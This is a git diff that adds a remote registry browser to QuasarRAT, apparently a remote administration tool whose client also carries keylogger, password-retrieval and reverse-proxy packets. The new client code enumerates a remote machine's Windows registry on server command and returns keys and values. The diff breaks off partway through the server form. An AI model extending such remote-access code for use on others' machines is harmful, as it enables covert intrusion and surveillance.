diff --git a/Client/Client.csproj b/Client/Client.csproj
index b73634bf..9efe5048 100644
--- a/Client/Client.csproj
+++ b/Client/Client.csproj
@@ -53,6 +53,7 @@
+
@@ -94,6 +95,7 @@
+
@@ -104,6 +106,10 @@
+
+
+
+
@@ -216,6 +222,7 @@
+
diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs
index dc56611e..ba5ab534 100644
--- a/Client/Core/Commands/CommandHandler.cs
+++ b/Client/Core/Commands/CommandHandler.cs
@@ -1,5 +1,6 @@
using System.Collections.Generic;
using System.Threading;
+using xClient.Core.Registry;
using xClient.Core.Utilities;
namespace xClient.Core.Commands
@@ -13,5 +14,6 @@ public static partial class CommandHandler
private static Dictionary _canceledDownloads = new Dictionary();
private const string DELIMITER = "$E$";
private static readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads
+ public static RegistrySeeker seeker;
}
}
\ No newline at end of file
diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs
new file mode 100644
index 00000000..94b95054
--- /dev/null
+++ b/Client/Core/Commands/RegistryHandler.cs
@@ -0,0 +1,57 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xClient.Core.Networking;
+using xClient.Core.Registry;
+
+namespace xClient.Core.Commands
+{
+ /*
+ * Derived and Adapted By Justin Yanke
+ * github: https://github.com/yankejustin
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * This code is created by Justin Yanke and has only been
+ * modified partially.
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * Modified by StingRaptor on January 21, 2016
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * Original Source:
+ * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Commands/RegistryHandler.cs
+ */
+
+ /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
+ public static partial class CommandHandler
+ {
+ public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client)
+ {
+ try
+ {
+
+ seeker = new RegistrySeeker();
+
+ xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse();
+
+ seeker.SearchComplete += (object o, SearchCompletedEventArgs e) =>
+ {
+ responsePacket.Matches = e.Matches.ToArray();
+ responsePacket.RootKey = packet.RootKeyName;
+
+ responsePacket.Execute(client);
+ };
+
+ // If the search parameters of the packet is null, the server is requesting to obtain the root keys.
+ if (packet.RootKeyName == null)
+ {
+ seeker.Start(new RegistrySeekerParams(null, Enums.RegistrySearchAction.Keys | Enums.RegistrySearchAction.Values));
+ }
+ else
+ {
+ seeker.Start(packet.RootKeyName);
+ }
+ }
+ catch
+ { }
+ }
+ }
+}
diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs
index 013b618e..abbaf63a 100644
--- a/Client/Core/Extensions/RegistryKeyExtensions.cs
+++ b/Client/Core/Extensions/RegistryKeyExtensions.cs
@@ -1,6 +1,7 @@
using System.Collections.Generic;
using Microsoft.Win32;
using System.Linq;
+using System;
namespace xClient.Core.Extensions
{
@@ -94,5 +95,49 @@ public static IEnumerable GetFormattedKeyValues(this RegistryKey key)
yield return string.Format("{0}||{1}", k, key.GetValueSafe(k));
}
}
+
+ public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData)
+ {
+ switch (valueKind)
+ {
+ case RegistryValueKind.Binary:
+ return BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower();
+ case RegistryValueKind.MultiString:
+ return string.Join(" ", (string[])valueData);
+ case RegistryValueKind.DWord: //Convert with hexadecimal before int
+ return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("X8").ToLower(), ((uint)((int)valueData)).ToString());
+ case RegistryValueKind.QWord:
+ return ((ulong)((long)valueData)).ToString();
+ case RegistryValueKind.String:
+ case RegistryValueKind.ExpandString:
+ return valueData.ToString();
+ case RegistryValueKind.Unknown:
+ default:
+ return string.Empty;
+ }
+ }
+
+ public static string RegistryTypeToString(this RegistryValueKind valueKind)
+ {
+ switch (valueKind)
+ {
+ case RegistryValueKind.Binary:
+ return "REG_BINARY";
+ case RegistryValueKind.MultiString:
+ return "REG_MULTI_SZ";
+ case RegistryValueKind.DWord:
+ return "REG_DWORD";
+ case RegistryValueKind.QWord:
+ return "REG_QWORD";
+ case RegistryValueKind.String:
+ return "REG_SZ";
+ case RegistryValueKind.ExpandString:
+ return "REG_EXPAND_SZ";
+ case RegistryValueKind.Unknown:
+ return "(Unknown)";
+ default:
+ return "REG_NONE";
+ }
+ }
}
}
\ No newline at end of file
diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs
index 2cc1abc1..e22eacdf 100644
--- a/Client/Core/Networking/QuasarClient.cs
+++ b/Client/Core/Networking/QuasarClient.cs
@@ -77,6 +77,7 @@ public QuasarClient(HostsManager hostsManager) : base()
typeof (Packets.ClientPackets.GetStartupItemsResponse),
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
typeof (Packets.ClientPackets.GetPasswordsResponse),
+ typeof (Packets.ClientPackets.GetRegistryKeysResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),
diff --git a/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs b/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs
new file mode 100644
index 00000000..32b1af10
--- /dev/null
+++ b/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs
@@ -0,0 +1,35 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xClient.Core.Networking;
+using xClient.Core.Registry;
+
+namespace xClient.Core.Packets.ClientPackets
+{
+ [Serializable]
+ public class GetRegistryKeysResponse : IPacket
+ {
+ public RegSeekerMatch[] Matches { get; set; }
+
+ public string RootKey { get; set; }
+
+ public GetRegistryKeysResponse()
+ { }
+
+ public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null)
+ : this(new RegSeekerMatch[] { match }, rootKey)
+ { }
+
+ public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null)
+ {
+ Matches = matches;
+ RootKey = rootKey;
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs
index bfff9354..f7ca973a 100644
--- a/Client/Core/Packets/PacketHandler.cs
+++ b/Client/Core/Packets/PacketHandler.cs
@@ -124,6 +124,10 @@ public static void HandlePacket(Client client, IPacket packet)
CommandHandler.HandleDoDownloadFileCancel((ServerPackets.DoDownloadFileCancel)packet,
client);
}
+ else if (type == typeof(ServerPackets.DoLoadRegistryKey))
+ {
+ CommandHandler.HandleGetRegistryKey((ServerPackets.DoLoadRegistryKey)packet, client);
+ }
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
{
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);
diff --git a/Client/Core/Registry/RegSeekerMatch.cs b/Client/Core/Registry/RegSeekerMatch.cs
new file mode 100644
index 00000000..279817b3
--- /dev/null
+++ b/Client/Core/Registry/RegSeekerMatch.cs
@@ -0,0 +1,40 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace xClient.Core.Registry
+{
+ /*
+ * Derived and Adapted By Justin Yanke
+ * github: https://github.com/yankejustin
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * This code is created by Justin Yanke and has only been
+ * modified partially.
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * Modified by StingRaptor on January 21, 2016
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * Original Source:
+ * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegSeekerMatch.cs
+ */
+
+ [Serializable]
+ public class RegSeekerMatch
+ {
+ public string Key { get; private set; }
+ public List Data { get; private set; }
+ public bool HasSubKeys { get; private set; }
+
+ public RegSeekerMatch(string key, List data, int subkeycount)
+ {
+ Key = key;
+ Data = data;
+ HasSubKeys = (subkeycount > 0);
+ }
+
+ public override string ToString()
+ {
+ return string.Format("({0}:{1})", Key, Data.ToString());
+ }
+ }
+}
diff --git a/Client/Core/Registry/RegValueData.cs b/Client/Core/Registry/RegValueData.cs
new file mode 100644
index 00000000..f22967a5
--- /dev/null
+++ b/Client/Core/Registry/RegValueData.cs
@@ -0,0 +1,27 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace xClient.Core.Registry
+{
+ [Serializable]
+ public class RegValueData
+ {
+ public string Name { get; private set; }
+ public string Type { get; private set; }
+ public string Data { get; private set; }
+
+ public RegValueData(string name, string type, string data)
+ {
+ Name = name;
+ Type = type;
+ Data = data;
+ }
+
+ public override string ToString()
+ {
+ return string.Format("({0}:{1}:{2})", Name, Type, Data);
+ }
+ }
+}
diff --git a/Client/Core/Registry/RegistrySeeker.cs b/Client/Core/Registry/RegistrySeeker.cs
new file mode 100644
index 00000000..4d07d355
--- /dev/null
+++ b/Client/Core/Registry/RegistrySeeker.cs
@@ -0,0 +1,330 @@
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Security;
+using Microsoft.Win32;
+using System.Threading;
+using xClient.Core.Extensions;
+
+namespace xClient.Core.Registry
+{
+ /*
+ * Derived and Adapted from CrackSoft's Reg Explore.
+ * Reg Explore v1.1 (Release Date: June 24, 2011)
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * This is a work that is not of the original. It
+ * has been modified to suit the needs of another
+ * application.
+ * (This has been taken from Justin Yanke's branch)
+ * First Modified by Justin Yanke on August 15, 2015
+ * Second Modified by StingRaptor on January 21, 2016
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * Unmodified Source:
+ * https://regexplore.codeplex.com/SourceControl/latest#Registry/RegSearcher.cs
+ */
+
+ public class MatchFoundEventArgs : EventArgs
+ {
+ public RegSeekerMatch Match { get; private set; }
+
+ public MatchFoundEventArgs(RegSeekerMatch match)
+ {
+ Match = match;
+ }
+ }
+
+ public class SearchCompletedEventArgs : EventArgs
+ {
+ public List Matches { get; private set; }
+
+ public SearchCompletedEventArgs(List matches)
+ {
+ Matches = matches;
+ }
+ }
+
+ public class RegistrySeeker
+ {
+ #region CONSTANTS
+
+ ///
+ /// An array containing all of the root keys for the registry.
+ ///
+ public static readonly RegistryKey[] ROOT_KEYS = new RegistryKey[]
+ {
+ Microsoft.Win32.Registry.ClassesRoot,
+ Microsoft.Win32.Registry.CurrentUser,
+ Microsoft.Win32.Registry.LocalMachine,
+ Microsoft.Win32.Registry.Users,
+ Microsoft.Win32.Registry.CurrentConfig
+ };
+
+ #endregion
+
+ #region Fields
+
+ ///
+ /// Fired when the RegistrySeeker has finished searching through the registry.
+ ///
+ public event EventHandler SearchComplete;
+
+ ///
+ /// Fired when a RegistryKey is found.
+ ///
+ public event EventHandler MatchFound;
+
+ ///
+ /// The worker thread that does the searching/traversal through the registry.
+ ///
+ private BackgroundWorker searcher;
+
+ ///
+ /// The lock used to ensure thread safety.
+ ///
+ private readonly object locker = new object();
+
+ ///
+ /// The search arguments to use for customizable registry searching.
+ ///
+ public RegistrySeekerParams searchArgs;
+
+ ///
+ /// The list containing the matches found during the search.
+ ///
+ private List matches;
+
+ ///
+ /// The queue of registry key paths to analyze further.
+ ///
+ private Queue pendingKeys;
+
+ #endregion
+
+ public RegistrySeeker()
+ {
+ searcher = new BackgroundWorker() { WorkerSupportsCancellation = true, WorkerReportsProgress = true };
+
+ searcher.DoWork += new DoWorkEventHandler(worker_DoWork);
+ searcher.RunWorkerCompleted += new RunWorkerCompletedEventHandler(worker_RunWorkerCompleted);
+ searcher.ProgressChanged += new ProgressChangedEventHandler(worker_ProgressChanged);
+ }
+
+ public void Start(string rootKeyName)
+ {
+ if (rootKeyName != null && rootKeyName.Length > 0)
+ {
+
+ // ToDo: Get correct root key...
+ RegistryKey root = GetRootKey(rootKeyName);
+
+ if (root != null)
+ {
+ //Check if this is a root key or not
+ if (root.Name != rootKeyName)
+ {
+ //Must get the subKey name by removing root and '\\'
+ string subKeyName = rootKeyName.Substring(root.Name.Length + 1);
+ try
+ {
+ root = root.OpenSubKey(subKeyName);
+ }
+ catch { }
+ }
+ }
+
+ // Temp
+ if (root != null)
+ Start(new RegistrySeekerParams(root, Enums.RegistrySearchAction.Keys | Enums.RegistrySearchAction.Values | Enums.RegistrySearchAction.Data));
+ }
+ }
+
+ public void Start(RegistrySeekerParams args)
+ {
+ searchArgs = args;
+
+ matches = new List();
+ searcher.RunWorkerAsync();
+ }
+
+ void worker_ProgressChanged(object sender, ProgressChangedEventArgs e)
+ {
+ MatchFound(this, new MatchFoundEventArgs((RegSeekerMatch)e.UserState));
+ }
+
+ public void Stop()
+ {
+ if (searcher.IsBusy)
+ {
+ lock (locker)
+ {
+ searcher.CancelAsync();
+ // Wait until it is done... Similar to synchronous stop.
+ Monitor.Wait(locker);
+ }
+ }
+ }
+
+ void worker_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
+ {
+ SearchComplete(this, new SearchCompletedEventArgs(matches));
+ }
+
+ void worker_DoWork(object sender, DoWorkEventArgs e)
+ {
+ // Get root registrys
+ if (searchArgs.RootKey == null)
+ {
+ foreach (RegistryKey key in RegistrySeeker.ROOT_KEYS)
+ /* Just need root key so process it */
+ ProcessKey(key, key.Name);
+ }
+ else
+ {
+ //searching for subkeys to root key
+ Search(searchArgs.RootKey);
+ }
+ }
+
+ void Search(string rootKeyName)
+ {
+ try
+ {
+ using (RegistryKey key = GetRootKey(rootKeyName).OpenWritableSubKeySafe(rootKeyName))
+ {
+ if (key != null)
+ {
+ Search(key);
+ }
+ }
+ }
+ catch
+ { }
+ }
+
+ void Search(RegistryKey rootKey)
+ {
+ string rootKeyName = rootKey.Name.Substring(rootKey.Name.LastIndexOf('\\') + 1);
+
+ RegistryKey subKey = null;
+ string keyName;
+ int cropIndex = rootKey.Name.Length + 1;
+ pendingKeys = new Queue(rootKey.GetSubKeyNames());
+
+ while (pendingKeys.Count > 0)
+ {
+ if (searcher.CancellationPending)
+ {
+ lock (locker)
+ {
+ // Allow for a synchronous stop.
+ Monitor.Pulse(locker);
+ return;
+ }
+ }
+
+ keyName = pendingKeys.Dequeue();
+
+ try
+ {
+ subKey = rootKey.OpenSubKey(keyName);
+ }
+ catch (SecurityException)
+ {
+ subKey = null;
+ }
+ finally
+ {
+ ProcessKey(subKey, keyName);
+ }
+ }
+ }
+
+ private void ProcessKey(RegistryKey key, string keyName)
+ {
+ if (searcher.CancellationPending)
+ return;
+
+ MatchData(key, keyName);
+ }
+
+ private void MatchData(RegistryKey key, string keyName)
+ {
+ if (key != null)
+ {
+ List values = new List();
+
+ foreach (string valueName in key.GetValueNames())
+ {
+ RegistryValueKind valueType = key.GetValueKind(valueName);
+ string valueData = key.GetValueKind(valueName).RegistryTypeToString(key.GetValue(valueName, string.Empty));
+ string actualValueName = String.IsNullOrEmpty(valueName) ? "(Default)" : valueName;
+ values.Add(new RegValueData(actualValueName, valueType.RegistryTypeToString(), valueData));
+ }
+
+ //Maybe send null if empty (regValues)
+ AddMatch(keyName, values, key.SubKeyCount);
+ }
+ else
+ {
+ AddMatch(keyName, null, 0);
+ }
+
+ }
+
+ private void AddMatch(string key, List values, int subkeycount)
+ {
+ RegSeekerMatch match = new RegSeekerMatch(key, values, subkeycount);
+
+ if (MatchFound != null)
+ searcher.ReportProgress(0, match);
+
+ matches.Add(match);
+
+ }
+
+ public static RegistryKey GetWritableRegistryKey(string keyPath)
+ {
+ RegistryKey key = RegistrySeeker.GetRootKey(keyPath);
+
+ if (key != null)
+ {
+ //Check if this is a root key or not
+ if (key.Name != keyPath)
+ {
+ //Must get the subKey name by removing root and '\\'
+ string subKeyName = keyPath.Substring(key.Name.Length + 1);
+
+ key = key.OpenWritableSubKeySafe(subKeyName);
+ }
+ }
+
+ return key;
+ }
+
+ public static RegistryKey GetRootKey(string subkey_fullpath)
+ {
+ string[] path = subkey_fullpath.Split('\\');
+
+ switch (path[0]) // <== root;
+ {
+ case "HKEY_CLASSES_ROOT":
+ return Microsoft.Win32.Registry.ClassesRoot;
+ case "HKEY_CURRENT_USER":
+ return Microsoft.Win32.Registry.CurrentUser;
+ case "HKEY_LOCAL_MACHINE":
+ return Microsoft.Win32.Registry.LocalMachine;
+ case "HKEY_USERS":
+ return Microsoft.Win32.Registry.Users;
+ case "HKEY_CURRENT_CONFIG":
+ return Microsoft.Win32.Registry.CurrentConfig;
+ default:
+ return null;
+ }
+ }
+
+ public bool IsBusy
+ {
+ get { return searcher.IsBusy; }
+ }
+ }
+}
diff --git a/Client/Core/Registry/RegistrySeekerParams.cs b/Client/Core/Registry/RegistrySeekerParams.cs
new file mode 100644
index 00000000..1583379b
--- /dev/null
+++ b/Client/Core/Registry/RegistrySeekerParams.cs
@@ -0,0 +1,52 @@
+using Microsoft.Win32;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xClient.Enums;
+
+namespace xClient.Core.Registry
+{
+ /*
+ * Derived and Adapted By Justin Yanke
+ * github: https://github.com/yankejustin
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * This code is created by Justin Yanke and has only been
+ * modified partially.
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * Modified by StingRaptor on January 21, 2016
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * Original Source:
+ * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegistrySeekerParams.cs
+ */
+
+ public class RegistrySeekerParams
+ {
+ public bool GatherKeyValues { get; private set; }
+
+ public RegistryKey RootKey { get; set; }
+
+ public RegistrySeekerParams(RegistryKey registryKey, RegistrySearchAction keyAnalyzeDepth)
+ {
+ this.RootKey = registryKey;
+ this.searchValueTypes = keyAnalyzeDepth;
+ }
+
+ private RegistrySearchAction searchValueTypes
+ {
+ get
+ {
+ RegistrySearchAction action = RegistrySearchAction.Keys;
+
+ if (GatherKeyValues)
+ action |= RegistrySearchAction.Values;
+
+ return action;
+ }
+ set
+ {
+ GatherKeyValues = (value & RegistrySearchAction.Values) == RegistrySearchAction.Values;
+ }
+ }
+ }
+}
diff --git a/Client/Enums/RegistrySearchAction.cs b/Client/Enums/RegistrySearchAction.cs
new file mode 100644
index 00000000..ce9d4f77
--- /dev/null
+++ b/Client/Enums/RegistrySearchAction.cs
@@ -0,0 +1,30 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace xClient.Enums
+{
+ /*
+ * Derived and Adapted By Justin Yanke
+ * github: https://github.com/yankejustin
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * This code is created by Justin Yanke.
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * No modifications made
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * Original Source:
+ * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Enums/RegistrySearchAction.cs
+ */
+
+ ///
+ /// Specifies the items to retrieve and send when searching the registry.
+ ///
+ [Flags]
+ public enum RegistrySearchAction
+ {
+ Keys,
+ Values,
+ Data
+ }
+}
diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs
new file mode 100644
index 00000000..9231904f
--- /dev/null
+++ b/Server/Core/Commands/RegistryHandler.cs
@@ -0,0 +1,30 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xServer.Core.Networking;
+
+namespace xServer.Core.Commands
+{
+ /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
+ public static partial class CommandHandler
+ {
+ public static void HandleLoadRegistryKey(xServer.Core.Packets.ClientPackets.GetRegistryKeysResponse packet, Client client)
+ {
+ try
+ {
+ // Make sure that we can use the packet.
+ if (packet.Matches != null && packet.Matches.Length > 0)
+ {
+ // Make sure that the client is in the correct state to handle the packet appropriately.
+ if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
+ {
+ client.Value.FrmRe.AddKeysToTree(packet.RootKey, packet.Matches);
+ }
+ }
+ }
+ catch
+ { }
+ }
+ }
+}
diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs
index 65ec5cbe..b3331b90 100644
--- a/Server/Core/Networking/QuasarServer.cs
+++ b/Server/Core/Networking/QuasarServer.cs
@@ -124,6 +124,7 @@ public QuasarServer() : base()
typeof (Packets.ClientPackets.GetStartupItemsResponse),
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
typeof (Packets.ClientPackets.GetPasswordsResponse),
+ typeof (Packets.ClientPackets.GetRegistryKeysResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),
diff --git a/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs b/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs
new file mode 100644
index 00000000..e78a80e7
--- /dev/null
+++ b/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs
@@ -0,0 +1,35 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xServer.Core.Networking;
+using xServer.Core.Registry;
+
+namespace xServer.Core.Packets.ClientPackets
+{
+ [Serializable]
+ public class GetRegistryKeysResponse : IPacket
+ {
+ public RegSeekerMatch[] Matches { get; set; }
+
+ public string RootKey { get; set; }
+
+ public GetRegistryKeysResponse()
+ { }
+
+ public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null)
+ : this(new RegSeekerMatch[] { match }, rootKey)
+ { }
+
+ public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null)
+ {
+ Matches = matches;
+ RootKey = rootKey;
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Server/Core/Packets/PacketHandler.cs b/Server/Core/Packets/PacketHandler.cs
index b8713e3e..deda0c02 100644
--- a/Server/Core/Packets/PacketHandler.cs
+++ b/Server/Core/Packets/PacketHandler.cs
@@ -66,6 +66,10 @@ public static void HandlePacket(Client client, IPacket packet)
{
CommandHandler.HandleGetKeyloggerLogsResponse(client, (ClientPackets.GetKeyloggerLogsResponse)packet);
}
+ else if (type == typeof(ClientPackets.GetRegistryKeysResponse))
+ {
+ CommandHandler.HandleLoadRegistryKey((ClientPackets.GetRegistryKeysResponse)packet, client);
+ }
else if (type == typeof(ClientPackets.GetPasswordsResponse))
{
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);
diff --git a/Server/Core/Registry/RegSeekerMatch.cs b/Server/Core/Registry/RegSeekerMatch.cs
new file mode 100644
index 00000000..a46de6cb
--- /dev/null
+++ b/Server/Core/Registry/RegSeekerMatch.cs
@@ -0,0 +1,40 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace xServer.Core.Registry
+{
+ /*
+ * Derived and Adapted By Justin Yanke
+ * github: https://github.com/yankejustin
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * This code is created by Justin Yanke and has only been
+ * modified partially.
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * Modified by StingRaptor on January 21, 2016
+ * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ * Original Source:
+ * https://github.com/quasar/QuasarRAT/blob/regedit/Server/Core/Utilities/RegSeekerMatch.cs
+ */
+
+ [Serializable]
+ public class RegSeekerMatch
+ {
+ public string Key { get; private set; }
+ public List Data { get; private set; }
+ public bool HasSubKeys { get; private set; }
+
+ public RegSeekerMatch(string key, List data, int subkeycount)
+ {
+ Key = key;
+ Data = data;
+ HasSubKeys = (subkeycount > 0);
+ }
+
+ public override string ToString()
+ {
+ return string.Format("({0}:{1})", Key, Data.ToString());
+ }
+ }
+}
diff --git a/Server/Core/Registry/RegValueData.cs b/Server/Core/Registry/RegValueData.cs
new file mode 100644
index 00000000..e1681955
--- /dev/null
+++ b/Server/Core/Registry/RegValueData.cs
@@ -0,0 +1,27 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace xServer.Core.Registry
+{
+ [Serializable]
+ public class RegValueData
+ {
+ public string Name { get; private set; }
+ public string Type { get; private set; }
+ public string Data { get; private set; }
+
+ public RegValueData(string name, string type, string data)
+ {
+ Name = name;
+ Type = type;
+ Data = data;
+ }
+
+ public override string ToString()
+ {
+ return string.Format("({0}:{1}:{2})", Name, Type, Data);
+ }
+ }
+}
diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs
index d8422671..5a238063 100644
--- a/Server/Forms/FrmRegistryEditor.cs
+++ b/Server/Forms/FrmRegistryEditor.cs
@@ -7,6 +7,7 @@
using System.Text;
using System.Windows.Forms;
using xServer.Core.Networking;
+using xServer.Core.Registry;
namespace xServer.Forms
{
@@ -24,9 +25,175 @@ public FrmRegistryEditor(Client c)
InitializeComponent();
}
+ #region Main Form
+
private void FrmRegistryEditor_Load(object sender, EventArgs e)
{
+ //Check if user is not currently running as administrator
+ if (_connectClient.Value.AccountType != "Admin")
+ {
+ //Prompt user of not being admin, probably change need clearer statement (TODO)
+ string msg = "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete my not work properly!";
+ string caption = "Alert!";
+ MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning);
+ }
+ // Signal client to retrive the root nodes (indicated by null)
+ new xServer.Core.Packets.ServerPackets.DoLoadRegistryKey(null).Execute(_connectClient);
}
+
+ private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ if (_connectClient.Value != null)
+ _connectClient.Value.FrmRe = null;
+ }
+
+ #endregion
+
+ #region TreeView Helperfunctions
+
+ public void AddRootKey(RegSeekerMatch match)
+ {
+ tvRegistryDirectory.Invoke((MethodInvoker)delegate
+ {
+ TreeNode node = CreateNode(match.Key, match.Key, match.Data);
+ node.Nodes.Add(new TreeNode());
+ tvRegistryDirectory.Nodes.Add(node);
+ });
+ }
+
+ private TreeNode CreateNode(string key, string text, object tag)
+ {
+ return new TreeNode()
+ {
+ Text = text,
+ Name = key,
+ Tag = tag
+ };
+ }
+
+ public void AddKeysToTree(string rootName, RegSeekerMatch[] matches)
+ {
+ if (string.IsNullOrEmpty(rootName))
+ {
+ // Root key
+ foreach (var match in matches)
+ {
+ AddRootKey(match);
+ }
+
+ tvRegistryDirectory.Invoke((MethodInvoker)delegate
+ {
+ tvRegistryDirectory.SelectedNode = tvRegistryDirectory.Nodes[0];
+ });
+
+ }
+ else
+ {
+
+ TreeNode parent = GetParentTreeNode(rootName);
+
+ // If the parent is null, it should be a root node.
+ if (parent == null)
+ {
+ //Error incorrect format
+ return;
+ }
+ else
+ {
+ tvRegistryDirectory.Invoke((MethodInvoker)delegate
+ {
+ foreach (var match in matches)
+ {
+ //This will execute in the form thread
+ TreeNode node = CreateNode(match.Key, match.Key, match.Data);
+ if (match.HasSubKeys)
+ {
+ node.Nodes.Add(new TreeNode());
+ }
+ parent.Nodes.Add(node);
+ }
+ parent.Expand();
+ });
+ }
+ }
+ }
+
+ ///
+ /// Using the RegSeekerMatch's name, obtain the parent TreeNode of the match, creating
+ /// the TreeNodes if necessary.
+ ///
+ /// The match from which we obtain the corresponding TreeNode from.
+ /// Null if an invalid name is passed; The parent TreeNode for non-root matches; Returns
+ /// itself if it is a root match.
+ private TreeNode GetParentTreeNode(string rootName)
+ {
+ string[] nodePath = null;
+ if (rootName.Contains("\\"))
+ {
+ // It might not be a root node.
+ nodePath = rootName.Split(new char[] { '\\' }, StringSplitOptions.RemoveEmptyEntries);
+
+ // Only one valid node. Probably malformed or a root node.
+ if (nodePath.Length < 2)
+ {
+ return null;
+ }
+ }
+ else
+ {
+ //Is a root node
+ nodePath = new string[] { rootName };
+ }
+
+ // Keep track of the last node to reference for traversal.
+ TreeNode lastNode = null;
+
+ // If the TreeView contains the first element in the node path, we
+ // won't have to create it. Otherwise, create it then set the last node
+ // to serve as our reference point.
+ if (tvRegistryDirectory.Nodes.ContainsKey(nodePath[0]))
+ {
+ lastNode = tvRegistryDirectory.Nodes[nodePath[0]];
+ }
+ else
+ {
+ // This node does not exist in the TreeView. Create it then add it.
+ lastNode = CreateNode(nodePath[0], nodePath[0], null);
+ tvRegistryDirectory.Invoke((MethodInvoker)delegate
+ {
+ tvRegistryDirectory.Nodes.Add(lastNode);
+ });
+
+ }
+
